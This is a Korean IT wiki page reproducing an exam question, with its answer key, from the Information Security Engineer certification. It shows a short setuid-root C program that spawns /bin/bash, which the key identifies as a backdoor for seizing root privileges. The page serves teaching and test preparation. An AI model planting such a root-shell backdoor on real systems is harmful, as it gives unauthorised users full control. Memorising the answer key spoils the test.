정보보안기사 제8회 20번
From IT Wiki
과목: 시스템 보안
문제[edit | edit source]
20. 다음은 크래커 A가 남긴 C소스 코드와 바이너리 파일이다. 이에 대한 설명으로 적합한 것은?
$ls -l
total 20
-rwsr-wr-x 1 root root 1435 Oct 7 21:13 test
-rw-rw-r-- 1 root root 88 Oct 7 21:12 test.c
$ cat test.c
#include
void main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
- ① setgid 시스템 콜의 인자를0으로 준 것으로 보아 Race Condition 기법의 공격이다.
- ② /bin/sh를 실행시키는 것으로 보아 Sniffing 기법이다.
- ③ setuid 시스템 콜의 인자가 0이고 컴파일된 바이너리 파일의 퍼미션이 4755인 것으로 보아 루트 권한을 탈취하는 백도어이다.
- ④ main 함수의 리턴형태가 void 이므로 Format String Attack으로 보인다.
풀어보기[edit | edit source]
정답[edit | edit source]
- 3번